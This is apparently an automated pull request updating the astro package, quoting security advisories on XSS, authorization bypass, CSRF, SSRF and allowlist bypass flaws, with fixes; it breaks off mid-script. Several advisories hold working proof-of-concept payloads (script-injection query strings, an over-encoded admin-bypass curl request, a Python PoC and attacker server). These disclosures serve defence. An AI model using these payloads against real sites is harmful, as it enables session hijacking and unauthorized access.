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🚨 [security] Update astro 1.6.11 → 7.1.3 (major)

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ astro (1.6.11 → 7.1.3) · Repo · Changelog

Security Advisories 🚨

🚨 Astro: XSS via unescaped spread attribute names in renderHTMLElement (incomplete fix for CVE-2026-54298)

Summary

The fix for CVE-2026-54298 (GHSA-jrpj-wcv7-9fh9) added an INVALID_ATTR_NAME_CHAR guard to addAttribute() so that spread-prop attribute names containing "' >/= or whitespace are dropped. A second attribute-rendering path, renderHTMLElement() in packages/astro/src/runtime/server/render/dom.ts, has its own inline attribute loop that does not go through addAttribute() and was not updated. It interpolates the attribute name unescaped and only escapes the value, so untrusted prop keys spread onto a native-HTMLElement-subclass component can still break out of the attribute context, resulting in XSS.

Details

renderHTMLElement builds attributes directly:
for (const attr in props) {
  attrHTML += ` ${attr}="${toAttributeString(await props[attr])}"`;
}
The attribute name (attr) is interpolated raw; only the value is escaped via toAttributeString. By contrast, the hardened addAttribute in util.ts rejects invalid names:
if (INVALID_ATTR_NAME_CHAR.test(key)) { return ''; } // /[\s"'>/=]/
renderHTMLElement is reached from component.ts when the component is a native HTMLElement subclass:
if (!renderer && typeof HTMLElement === 'function' && componentIsHTMLElement(Component)) {
  const output = await renderHTMLElement(result, Component, _props, slots);
}
where _props carries spread props verbatim.

Reachability

The branch only runs when typeof HTMLElement === 'function' at SSR time. In default Node SSR HTMLElement is undefined, so the branch is dead. It becomes reachable when the SSR runtime exposes a global HTMLElement (Deno, Bun with a DOM shim, or jsdom/happy-dom in Node) and a class extending HTMLElement is used directly as an Astro component that receives untrusted-keyed spread props.

Proof of Concept

Given malicious spread props:
const maliciousProps = {
  'onmouseover=alert(document.domain) x': 'y',
  'x><script>alert(1)</script>': 'z',
};
addAttribute (post-fix) → <my-el></my-el> (key stripped — safe)

renderHTMLElement → <my-el onmouseover=alert(document.domain) x="y" x><script>alert(1)</script>="z"></my-el> (handler + <script> injected — XSS)

Equivalent Astro template, served by an SSR runtime that defines a global HTMLElement:
---
import MyElement from '../MyElement.js'; // class MyElement extends HTMLElement {}
const userInput = Astro.url.searchParams;  // untrusted keys
---
<MyElement {...Object.fromEntries(userInput)} />
Impact

Cross-site scripting (CWE-79) via attribute-name breakout — the same vulnerability class as CVE-2026-54298, in a code path its fix did not cover. An attacker who controls the keys of an object spread onto a native-HTMLElement-subclass component can inject arbitrary event-handler attributes or sibling elements (including <script>) into the SSR output. Reachability is constrained by the runtime and component preconditions described above.

🚨 Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.

The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.

As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.

Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions

Vulnerable Pattern

Middleware authorization sees:
/%61dmin
Later rewrite route matching sees:
/admin
This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.

Root Cause

Iterative Decoding Logic

PR #16967 introduced iterative URI decoding:
let iterations = 0;

while (decoded !== pathname && iterations < 10) {
	pathname = decoded;

	try {
		decoded = decodeURI(pathname);
	} catch {
		// decodeURI can fail when a decoded literal '%' forms an
		// invalid sequence with adjacent characters.
		break;
	}

	iterations++;
}

return decoded;
The intent was to ensure middleware receives a fully decoded canonical pathname.

However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.

Rewrite Route Matching

Later, Astro performs another decode during route matching:
const decodedPathname = decodeURI(pathname);
Consequently:
Middleware pathname: /%61dmin
Route matcher:       /admin
This creates a canonicalization mismatch between authorization logic and routing logic.

Proof of Concept

Middleware
import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (context, next) => {
	const pathname = context.url.pathname;

	if (pathname === '/admin' || pathname.startsWith('/admin/')) {
		return new Response(
			'403 Forbidden: middleware blocked canonical /admin',
			{
				status: 403,
				headers: {
					'content-type': 'text/plain;charset=UTF-8',
					'x-middleware-pathname': pathname,
				},
			}
		);
	}

	if (pathname !== '/') {
		const response = await next(context.url);

		response.headers.set('x-middleware-pathname', pathname);
		response.headers.set(
			'x-vuln-pattern',
			'next(context.url) rewrite after pathname check'
		);

		return response;
	}

	return next();
});
The critical pattern is:
return next(context.url);
The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.

Reproduction

Protected Route
curl -i http://127.0.0.1:8989/admin
Response:
HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin

403 Forbidden: middleware blocked canonical /admin
Bypass Request
curl -i http://127.0.0.1:8989/%252525252525252525252561dmin
Response:
HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin
This demonstrates:
Middleware saw: /%61dmin
Router reached: /admin
Encoding Depth Analysis

The bypass occurs at encoding depth 11.

Decoder Trace
depth 0:  /%61dmin                              -> /admin
depth 1:  /%2561dmin                            -> /admin
depth 2:  /%252561dmin                          -> /admin
depth 3:  /%25252561dmin                        -> /admin
depth 4:  /%2525252561dmin                      -> /admin
depth 5:  /%252525252561dmin                    -> /admin
depth 6:  /%25252525252561dmin                  -> /admin
depth 7:  /%2525252525252561dmin                -> /admin
depth 8:  /%252525252525252561dmin              -> /admin
depth 9:  /%25252525252525252561dmin            -> /admin
depth 10: /%2525252525252525252561dmin          -> /admin
depth 11: /%252525252525252525252561dmin        -> /%61dmin
Depths 0–10 are fully decoded and blocked by middleware.

Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.

A later decodeURI() converts:
/%61dmin
into:
/admin
allowing route matching to reach the protected endpoint.

Exploit Preconditions

Exploitation requires:

1. Path-Based Authorization

Middleware performs authorization using:
context.url.pathname
For example:
if (context.url.pathname === '/admin') {
	block();
}
2. Rewrite-Based Routing

The request is subsequently passed into Astro routing via:
next(context.url)
or equivalent rewrite behavior that performs route matching after middleware execution.

Impact

An unauthenticated attacker may bypass middleware protections guarding routes such as:
/admin
/api/admin
/internal
/dashboard
if the application:

Relies on pathname-based authorization checks.

Uses rewrite behavior that performs route matching after middleware execution.

Affected applications may expose protected pages or APIs despite middleware restrictions.

Security Analysis

The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.

Previous advisories demonstrated bypasses using:
/%2561dmin
to reach:
/admin
The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.

However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.

The existence of a decoding limit is not itself problematic.

The vulnerability arises because Astro:

Stops decoding.

Returns a partially canonicalized pathname.

Performs additional decoding later during route matching.

Authorization and routing therefore operate on different pathname representations.

Recommended Fix

Do not return partially decoded pathnames when the iteration limit is exceeded.

Instead, reject the request whenever decoding has not stabilized before reaching the cap.

Example Fix
let iterations = 0;

while (decoded !== pathname) {
	if (iterations >= 10) {
		throw new Error('URL encoding depth exceeded');
	}

	pathname = decoded;

	try {
		decoded = decodeURI(pathname);
	} catch {
		break;
	}

	iterations++;
}

return decoded;
Additional Hardening

Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent decodeURI() on values that have already been normalized.

Authorization and route matching must operate on the exact same canonical pathname representation.

Conclusion

Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.

When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.

This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.

🚨 Astro: Cross-site scripting via unescaped transition:* directive values on hydrated islands

Summary

When a transition:persist, transition:scope, or transition:persist-props directive is applied to a client-hydrated (client:*) component, Astro copied the directive value onto the rendered <astro-island> element without HTML-escaping it. If a developer reflects attacker-controlled input into one of these directives, an attacker can break out of the attribute and inject arbitrary HTML/JavaScript into the server-rendered output, resulting in reflected cross-site scripting (XSS).

Severity

Although a generic reflected XSS scores in the Medium range, exploitation here requires the application developer to have written a non-idiomatic pattern — passing untrusted, request-derived input directly into a transition directive. Astro applications that do not route untrusted input into these directives are unaffected. This mitigating precondition places the real-world severity at Low.

Details

In generateHydrateScript() (packages/astro/src/runtime/server/hydration.ts), every island property is HTML-escaped before serialization — the attrs, props, and opts assignments all pass through escapeHTML(). The transition directives, however, were copied verbatim:
transitionDirectivesToCopyOnIsland.forEach((name) => {
  if (typeof props[name] !== 'undefined') {
    island.props[name] = props[name]; // not escaped
  }
});
The <astro-island> element is serialized via renderElement('astro-island', island, false) with shouldEscape=false, and toAttributeString() returns the value unchanged in that mode. As a result there is no downstream re-escaping, and the raw directive value reaches the HTML response. This is the same output sink previously addressed for slot names in GHSA-8hv8-536x-4wqp.

The affected directives are:

data-astro-transition-scope (transition:scope)

data-astro-transition-persist (transition:persist)

data-astro-transition-persist-props (transition:persist-props)

Note that transition:persist is typed boolean | string, so passing a string value is a supported use of the API.

Proof of Concept

A component that reflects a query parameter into a transition directive:
---
const persist = Astro.url.searchParams.get('persist') ?? 'default';
---
<Island client:load transition:persist={persist} />
Request:
https://example.com/?persist="><img src=x onerror=alert(document.domain)>
Rendered output (before the fix):
<astro-island … data-astro-transition-persist=""><img src=x onerror=alert(document.domain)>></astro-island>
The " closes the attribute and the injected <img onerror=…> executes in the victim's browser.

Impact

Reflected XSS. An attacker who can induce a victim to visit a crafted URL can execute arbitrary script in the victim's session on the origin, subject to the requirement that the target application reflects untrusted input into one of the affected transition directives.

Affected Versions

astro >= 3.10.0, < 7.0.4 (introduced in 3.10.0, PR #7861).

Patched Versions

astro >= 7.0.4. Fixed in PR #17212 by HTML-escaping transition directive values before they are rendered onto the island element.

Workarounds

Do not pass untrusted or request-derived input into transition:persist, transition:scope, or transition:persist-props. If such input is required, HTML-escape or strictly validate it before passing it to the directive. Upgrading to astro@7.0.4 or later removes the need for manual mitigation.

Credits

Reported by @jlgore.

🚨 Astro: composable `astro/hono` pipeline bypasses `security.checkOrigin` when `middleware()` is absent or misordered

Summary

In the composable astro/hono pipeline, the security.checkOrigin protection is only installed by the middleware() primitive. The actions() and pages() primitives each dispatch to user code independently, so a pipeline that mounts either primitive before (or without) middleware() will bypass the origin check for those requests.

Details

security.checkOrigin (default: true) is intended to reject cross-site POST/PUT/PATCH/DELETE form submissions. In the classic pipeline (astro() all-in-one), the check always runs because Astro injects a virtual middleware module even when the user has no src/middleware.ts. In the composable astro/hono pipeline, the user assembles primitives manually. The check is only installed inside middleware() — so:

Mounting actions() before middleware() allows cross-origin form-encoded action requests to execute before the gate runs. The examples/advanced-routing example and the Cloudflare hono docs shipped this order.

Omitting middleware() entirely (reasonable for apps with no custom middleware) silently drops checkOrigin protection for all on-demand endpoints and pages dispatched through pages().

The attack is a blind write-only CSRF: the attacker can trigger a state-mutating action or endpoint handler using the victim's cookies, but cannot read the cross-origin response body.

Affected versions

Astro >= 7.0.0 when using the composable astro/hono pipeline with either:

actions() mounted before middleware(), or

pages() used without middleware()

The default (non-composable) pipeline is not affected.

Fix

The origin check is now applied at each dispatch sink (ActionHandler.handle and PagesHandler.handleWithErrorFallback), gated on manifest.checkOrigin, using the same predicate as the middleware. The check is order-independent and a no-op when middleware() has already run.

Fix: #17250

Workaround

Ensure middleware() is mounted before both actions() and pages() in the composable pipeline, and that it is always included even when no custom middleware logic is needed:
app.use(middleware());
app.use(actions());
app.use(pages());

🚨 Astro: Reflected XSS via unescaped View Transition animation properties

Summary

Astro's server-side View Transition CSS generator interpolates animation properties into an inline <style> element without escaping them for the CSS and HTML contexts.

An attacker-controlled value passed to an animation property such as duration can contain a </style> sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.

This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated <style> element rather than an unescaped slot name in a hydration template.

Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.

Details

packages/astro/src/runtime/server/transition.ts

The generated stylesheet is wrapped in a <style> element and marked as HTML-safe:
const css = sheet.toString();
result._metadata.extraHead.push(markHTMLString(`<style>${css}</style>`));
Animation properties are added to the stylesheet without escaping:
if (anim.duration) {
  addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration));
}
For string values, toTimeValue() returns the input unchanged:
export function toTimeValue(num: number | string) {
  return typeof num === 'number' ? num + 'ms' : num;
}
As a result, a duration value containing </style> can escape from the generated style element.

Other TransitionAnimation properties, including easing, direction, delay, fillMode, and name, are serialized by the same animation builder. The following PoC only relies on the official fade() helper and its duration option.

PoC

Using:

astro@7.0.9

@astrojs/node@11.0.2

astro.config.mjs
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});
src/pages/index.astro
---
import { fade } from 'astro:transitions';

const duration = Astro.url.searchParams.get('duration') ?? '300ms';
---

<html lang="en">
  <head>
    <meta charset="utf-8" />
    <title>PoC</title>
  </head>
  <body>
    <div transition:animate={fade({ duration })}>
      Animated content
    </div>
  </body>
</html>
Payload:

open:
http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--
The browser interprets </style> as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.

Impact

An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.

The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:

projects configured with output: "server";

pages using export const prerender = false;

other server-side data flows that pass attacker-controlled values into a View Transition animation definition.

Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim.

Suggested Fix

Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.

Additionally, content inserted into a raw <style> element must not be able to contain an HTML end-tag sequence such as </style>. The final generated CSS should be made safe for the HTML raw-text context before it is passed to markHTMLString().

🚨 Astro: Host header SSRF in prerendered error page fetch

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

Have a prerendered 404 or 500 page

Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected:

@astrojs/node >= 9.5.4 (reads error pages from disk)

@astrojs/cloudflare (uses the ASSETS binding)

The dev server (renders error pages in-process)

How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

🚨 Astro: Reflected XSS via unescaped slot name

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`
I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});
src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>
src/components/Wrapper.jsx
export default function Wrapper() { return null; }
Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix

I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

🚨 Astro: XSS via Unescaped Attribute Names in Spread Props

Summary

The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.

Details

The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:
export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
    if (value == null) {
        return '';
    }
    
    return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); //  key interpolated not escaped
}
This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:
for (const [key, value] of Object.entries(values)) {
    output += addAttribute(value, key, true, _name);
}
The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.

Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.

POC

Create an SSR Astro page (src/pages/index.astro):
---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
  <h1>Hello</h1>
  <div {...props}>Move mouse here</div>
</body>
</html>
Enable SSR in astro.config.mjs (for URL based demo):
export default defineConfig({
  output: 'server'
});
Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.

Start the dev server and visit:
http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}
URL encoded:
http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D
View the HTML source. The output contains:
<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>
The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.

The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.

🚨 Astro: Server island encrypted parameters vulnerable to cross-component replay

Impact

Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.

Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:

The application uses server islands

Two different server island components share the same key name for a prop and a slot

An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)

These conditions are very unlikely to occur in real-world production applications.

Patches

This has been patched in astro@6.1.10.

The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.

References

Fix PR: #16457

Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical

🚨 Astro: XSS in define:vars via incomplete </script> tag sanitization

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:
export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}
This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:
if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}
The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.

Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.

Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):
---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars={{ name }}>
    console.log(name);
  </script>
</body>
</html>
Step 2: Ensure SSR is enabled in astro.config.mjs:
export default defineConfig({
  output: 'server'
});
Step 3: Start the dev server and visit:
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
Step 4: View the HTML source. The output contains:
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>
The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:
/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

Session hijacking via cookie theft (document.cookie)

Credential theft by injecting fake login forms or keyloggers

Defacement of the rendered page

Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:
export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}
This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

🚨 Astro: Remote allowlist bypass via unanchored matchPathname wildcard

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source:

astro/packages/astro/src/assets/endpoint/generic.ts

Lines 43 to 56 in e0f1a2b

const url = new URL(request.url);

const transform = await imageService.parseURL(url, imageConfig);

if (!transform?.src) {

throw new Error('Incorrect transform returned by `parseURL`');

}

let inputBuffer: ArrayBuffer | undefined = undefined;

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {

return new Response('Forbidden', { status: 403 });

}
const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}
isRemoteAllowed() checks each remotePattern via matchPattern():

Source:

astro/packages/internal-helpers/src/remote.ts

Lines 15 to 21 in e0f1a2b

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {

return (

matchProtocol(url, remotePattern.protocol) &&

matchHostname(url, remotePattern.hostname, true) &&

matchPort(url, remotePattern.port) &&

matchPathname(url, remotePattern.pathname, true)

);
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source:

astro/packages/internal-helpers/src/remote.ts

Lines 85 to 99 in e0f1a2b

export function matchPathname(url: URL, pathname?: string, allowWildcard = false): boolean {

if (!pathname) {

return true;

} else if (!allowWildcard || !pathname.endsWith('*')) {

return pathname === url.pathname;

} else if (pathname.endsWith('/**')) {

const slicedPathname = pathname.slice(0, -2); // ** length

return slicedPathname !== url.pathname && url.pathname.startsWith(slicedPathname);

} else if (pathname.endsWith('/*')) {

const slicedPathname = pathname.slice(0, -1); // * length

const additionalPathChunks = url.pathname

.replace(slicedPathname, '')

.split('/')

.filter(Boolean);

return additionalPathChunks.length === 1;
} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}
Vulnerable code flow:

isRemoteAllowed() evaluates remotePatterns for a requested URL.

matchPathname() handles pathname: "/img/*" using .replace() on the URL path.

A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.

The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});
Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code
import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

# Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))
Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
